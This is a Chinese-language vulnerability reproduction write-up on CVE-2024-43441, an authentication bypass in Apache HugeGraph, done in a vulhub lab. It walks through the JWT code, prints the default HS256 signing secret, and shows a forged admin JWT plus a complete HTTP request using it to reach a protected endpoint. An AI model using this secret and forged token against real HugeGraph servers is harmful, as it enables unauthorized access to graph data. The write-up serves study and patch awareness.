看到p神的vulhub环境更新了,正好是个权限绕过,对这块不太熟复现一手

影响版本及编号

Affected versions:>= 1.0.0, < 1.5.0

CVE-2024-43441

漏洞分析

既然是权限绕过,那么就得分析鉴权,直接找login,在hugegraph-server下的hugegraph-api找到登录接口src/main/java/org/apache/hugegraph/api/auth/LoginAPI.java 但是奇怪的是无法走进这里生成token的逻辑,直接就进入了AuthenticationFilter#filter 中进行token的校验了,那么就可以先看一下校验,进入authenticate 方法,当设置好jwt格式的请求头后就会走到下面的jwt校验

1
Authorization: Bearer ...

image.png

继续跟进来到下面的代码

1
2
3
4
public HugeAuthenticator.User authenticate(Map<String, String> credentials)
throws AuthenticationException {
return this.authenticator().authenticate(credentials);
}

image.png

继续跟进

image.png

可以看到在这里进行了token的校验,由于我此时设置的是错误的jwt,所以就会校验失败

image.png

然后寻找jwt的构造,来到LoginAPI下,这里我设置了一个正确的jwt,不然没法断在这里,前面就会报错不正确的用户密码啥的

image.png

跟进来到下面

1
2
3
4
5
6
7
public String loginUser(String username, String password) {
try {
return this.authManager.loginUser(username, password);
} catch (AuthenticationException e) {
throw new NotAuthorizedException(e.getMessage(), e);
}
}

继续跟进

image.png

然后发现jwt的构造,一个payload,一个过期时间,jwt默认过期时间参数为exp

image.png

而payload分别是*TOKEN_USER_NAME* 和*TOKEN_USER_ID* 看看这两个常量的定义

image.png

所以构造payload的时候需要加入这两个,然后跟进create函数看看,发现还需要一个key

1
2
3
4
5
6
7
public String create(Map<String, ?> payload, long expire) {
return Jwts.builder()
.setClaims(payload)
.setExpiration(new Date(System.currentTimeMillis() + expire))
.signWith(this.key, SignatureAlgorithm.HS256)
.compact();
}

而这个key有默认的,这也是能伪造jwt的一个关键

1
2
3
4
5
6
7
public static final ConfigOption<String> AUTH_TOKEN_SECRET =
new ConfigOption<>(
"auth.token_secret",
"Secret key of HS256 algorithm.",
disallowEmpty(),
"FXQXbJtbCLxODc6tGci732pkH1cyf8Qg"
);

先生成一个时间戳

image.png

然后构造jwt

1
2
3
4
5
{
"user_name": "admin",
"user_id": "admin",
"exp": 1740310428
}

image.png

利用这个token访问需要权限校验的接口

1
2
3
4
5
6
7
8
9
10
11
GET /graphs HTTP/1.1
Host: 192.168.188.129:8080
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ca;q=0.5
Cache-Control: no-cache
Pragma: no-cache
Accept-Encoding: gzip, deflate
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiJhZG1pbiIsImV4cCI6MTc0MDMxMDQyOH0.CGGXx45be_ddqJV0vEFyk81TxOc8yqLJaOCieNqseG4

image.png

没有正确的token时

image.png

期间叫学弟也复现了一下,挺牛比我厉害哈哈哈

参考

https://github.com/apache/incubator-hugegraph/commit/03b40a52446218c83e98cb43020e0593a744a246

vulhub/hugegraph/CVE-2024-43441/README.zh-cn.md at master · vulhub/vulhub

阿里云漏洞库

HugeGraph 内置用户权限与扩展权限配置及使用 | HugeGraph